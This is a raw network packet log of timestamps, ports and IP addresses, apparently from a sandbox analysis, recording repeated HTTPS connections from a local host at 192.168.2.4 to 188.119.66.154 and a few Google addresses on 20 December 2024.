Dec 20, 2024 01:21:56.966532946 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:56.974292994 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:56.974390984 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:56.974481106 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:56.976773024 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:56.976809978 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:56.986409903 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:56.986458063 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:56.986495018 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:56.986505985 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:56.986545086 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.054228067 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.054294109 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.054389000 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.054399014 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.054445028 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.067368984 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.067419052 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.067547083 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.067547083 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.067553043 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.070854902 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.082385063 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.082429886 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.082465887 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.082470894 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.082531929 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.097353935 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.097398043 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.097438097 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.097443104 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.097495079 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.114552021 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.114597082 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.114691973 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.115216017 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.115236044 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.117985964 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.118033886 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.150405884 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.150485992 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.150486946 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.150518894 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.150544882 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.150567055 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.177407026 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.177459002 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.177493095 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.177500010 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.177547932 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.235565901 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.235619068 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.235651016 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.235656977 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.235708952 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.248460054 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.248505116 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.248527050 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.248533010 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.248583078 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.253304005 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.253350973 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.253379107 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.253385067 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.253436089 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.258603096 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.258651018 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.258678913 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.258682966 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.258717060 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.258790970 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.258843899 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.259119987 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:57.259140015 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:57.305344105 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:57.305396080 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:57.305457115 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:57.305691004 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:57.305706024 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:58.444472075 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.444856882 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.444879055 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.446026087 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.446492910 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.446640968 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.446654081 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.446681023 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.486879110 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.587374926 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.587671041 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.587697029 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.588855028 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.589274883 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.589359999 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:58.589577913 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:58.631364107 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.021599054 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.021908045 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.021943092 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.022460938 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.022531986 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.023483992 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.023535013 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.023767948 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.023848057 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.023947001 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.065006018 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.065016031 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.085753918 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.085922003 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.086103916 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.086631060 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.086674929 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.090451956 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.090504885 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.090574026 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.090826988 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.090851068 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.111876965 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.140887976 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.190001965 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.262521982 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.262553930 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.262603045 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.262655973 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.262655973 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.262660980 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.262693882 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.262765884 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.376861095 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.376935005 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.377000093 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.377000093 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.377026081 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.377078056 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.377095938 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.377177954 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.378031969 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.378061056 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.386087894 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.386163950 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.386234999 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.386508942 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:59.386543989 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:59.827775002 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.827914953 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.827979088 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.828010082 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.830534935 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:59.830609083 CET	443	49864	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:59.830682993 CET	49864	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:00.545934916 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.546274900 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:00.546307087 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.546667099 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.547050953 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:00.547113895 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.547234058 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:00.587332010 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.852303028 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.852639914 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:00.852677107 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.853827000 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.854178905 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:00.854343891 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:00.854357958 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.895374060 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:00.896307945 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.103033066 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.103116035 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.103167057 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.103526115 CET	49871	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.103543043 CET	443	49871	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.405451059 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.458832026 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.528394938 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.528422117 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.528486967 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.528522015 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.528554916 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.528610945 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.528611898 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.528630018 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.528651953 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.528698921 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.528698921 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643301964 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643348932 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643377066 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643383980 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643424034 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643431902 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643445015 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643452883 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643467903 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643501043 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643549919 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643565893 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643630028 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643690109 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643821955 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643848896 CET	443	49872	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.643874884 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.643910885 CET	49872	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.958542109 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.958591938 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:01.958726883 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.959585905 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:01.959599018 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:03.420631886 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:03.420924902 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:03.420953989 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:03.421325922 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:03.421855927 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:03.421916008 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:03.422116995 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:03.463335991 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:04.090579987 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:04.090663910 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:04.090713978 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:04.092127085 CET	49878	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:04.092148066 CET	443	49878	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:04.097239971 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:04.097311020 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:04.097513914 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:04.097985983 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:04.098022938 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:05.545994997 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:05.546340942 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:05.546387911 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:05.546770096 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:05.547167063 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:05.547246933 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:05.547331095 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:05.591352940 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:06.099041939 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:06.099116087 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:06.099190950 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:06.099544048 CET	49885	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:06.099575996 CET	443	49885	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:06.940866947 CET	49724	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:22:06.974328995 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:06.974379063 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:06.977288008 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:06.977288008 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:06.977339029 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:07.061202049 CET	80	49724	199.232.214.172	192.168.2.4
Dec 20, 2024 01:22:07.062731028 CET	49724	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:22:07.698791027 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:07.698827028 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:07.698972940 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:07.699429989 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:07.699443102 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:08.454968929 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:08.455279112 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:08.455327034 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:08.456446886 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:08.456790924 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:08.456953049 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:08.456964970 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:08.499356985 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:08.509876966 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:09.141454935 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:09.141547918 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:09.141608000 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:09.142128944 CET	49891	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:09.142153978 CET	443	49891	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:09.145234108 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:09.145257950 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:09.145576954 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:09.145819902 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:09.145826101 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:09.400532007 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:09.400785923 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:09.400806904 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:09.401886940 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:09.402441978 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:09.402650118 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:09.447372913 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:10.789974928 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:10.790265083 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:10.790277958 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:10.791409016 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:10.791759014 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:10.791934013 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:10.791954041 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:10.835361004 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:10.837992907 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.353998899 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:11.354083061 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:11.354227066 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.354449034 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.354460001 CET	443	49898	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:11.354469061 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.354515076 CET	49898	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.980628014 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.980674982 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:11.980751991 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.981118917 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:11.981131077 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:13.439085960 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:13.439481020 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:13.439500093 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:13.439990044 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:13.440604925 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:13.440685034 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:13.440954924 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:13.483370066 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:14.117084980 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:14.117187977 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:14.117307901 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:14.118491888 CET	49909	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:14.118515968 CET	443	49909	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:14.121875048 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:14.121963024 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:14.122049093 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:14.122289896 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:14.122328043 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:15.579261065 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:15.579582930 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:15.579613924 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:15.580113888 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:15.580442905 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:15.580543041 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:15.580694914 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:15.627321959 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:16.141519070 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:16.141684055 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:16.141745090 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.142193079 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.142194033 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.142229080 CET	443	49915	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:16.142334938 CET	49915	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.990197897 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.990223885 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:16.990295887 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.990848064 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:16.990865946 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:18.441488028 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:18.441817999 CET	49921	443	192.168.2.4	188.119.66.154
